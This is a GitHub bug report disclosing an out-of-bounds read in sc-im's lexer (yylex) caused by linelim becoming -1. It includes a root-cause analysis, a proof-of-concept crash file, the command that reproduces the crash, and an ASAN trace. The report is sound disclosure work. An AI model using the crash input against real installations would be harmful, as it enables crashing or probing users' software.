Skip to content

[Bug] Global-buffer-overflow (Read Underflow) in yylex at src/lex.c:119 #983

@oneafter

Description

@oneafter

Description

We discovered a Global-buffer-overflow vulnerability in sc-im. The crash occurs in the lexical analyzer (yylex) when parsing a specifically crafted file.

The ASAN report indicates a READ memory access violation of 1 byte located 1 byte before the global variable line. This suggests a buffer underflow (accessing index -1) when scanning the input buffer.

Environment

  • OS: Linux x86_64
  • Complier: Clang
  • Build Configuration: Release mode with ASan enabled.

Vulnerability Details

  • Target: sc-im
  • Vulnerability Type: CWE-125: Out-of-bounds Read (Underflow)
  • Function: yylex
  • Location: src/lex.c:119
  • Root Cause Analysis: The vulnerability is a Global Buffer Underflow caused by state corruption of the global variable linelim.
  1. State Corruption (linelim = -1): The PoC contains malformed commands that trigger an edge case in the parser (likely during error recovery or a backspace operation). This results in linelim being incorrectly calculated as a negative value (specifically -1).
  2. Pointer Mis-initialization: Upon entering yylex, the current cursor p is initialized relative to the global buffer line:
char * p = line + linelim; // If linelim is -1, p points to line[-1]
  1. When the parser encounters the double-quote logic (*p == '"'), it initializes a lookahead pointer ptr = p + 1. Since p is line - 1, ptr becomes line (the start of the buffer). The loop condition checks *(ptr-1) (which resolves to *(line - 1)), causing an immediate read access violation on the memory address just before the global line buffer.

Reproduce

  1. Build sc-im with Release optimization and ASAN enabled.
  2. Run with the crashing file:
poc
# Th.
# it.
formnt A 10 2 0
f^rm2 0
leftstring A3 = A1#A2
gotoA0"
leftstring B0 =#A2
gotoA """"""""""""""""""
leftstring A1 = "Apple"
let B1 = 1.5>
leftstring A2 A1+A2
goto "
let B2 = 0.80
let A3 = =  A5 ) aA0
./src/sc-im --nocurses --quit_afterload poc.sc

ASAN report

==5457==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55e58d42d77f at pc 0x55e58c99baeb bp 0x7ffcaea276d0 sp 0x7ffcaea276c8
READ of size 1 at 0x55e58d42d77f thread T0
    #0 0x55e58c99baea in yylex /src/sc-im/src/lex.c:119:12
    #1 0x55e58c954a1e in yyparse /src/sc-im/src/y.tab.c:3012:16
    #2 0x55e58c92df3b in readfile /src/sc-im/src/file.c:901:36
    #3 0x55e58c945abf in load_tbl /src/sc-im/src/file.c:2287:37
    #4 0x55e58c9455b6 in load_file /src/sc-im/src/file.c:2248:5
    #5 0x55e58c99ce04 in main /src/sc-im/src/main.c:285:9
    #6 0x7f95f2d911c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #7 0x7f95f2d9128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #8 0x55e58c83cba4 in _start (/src/sc-im/src/sc-im+0x4eba4) (BuildId: a0e0444e0e3f03f87f10e6f4f651691f85705c2c)

0x55e58d42d77f is located 1 bytes before global variable 'line' defined in '/src/sc-im/src/main.c:116' (0x55e58d42d780) of size 1024
0x55e58d42d77f is located 27 bytes after global variable 'cellassign' defined in '/src/sc-im/src/main.c:106' (0x55e58d42d760) of size 4
SUMMARY: AddressSanitizer: global-buffer-overflow /src/sc-im/src/lex.c:119:12 in yylex
Shadow bytes around the buggy address:
  0x55e58d42d480: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55e58d42d500: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55e58d42d580: 04 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9
  0x55e58d42d600: 00 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9 00 00 f9 f9
  0x55e58d42d680: 00 00 f9 f9 00 00 f9 f9 00 f9 f9 f9 00 f9 f9 f9
=>0x55e58d42d700: 00 f9 f9 f9 04 f9 f9 f9 04 f9 f9 f9 04 f9 f9[f9]
  0x55e58d42d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55e58d42d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55e58d42d880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55e58d42d900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55e58d42d980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5457==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions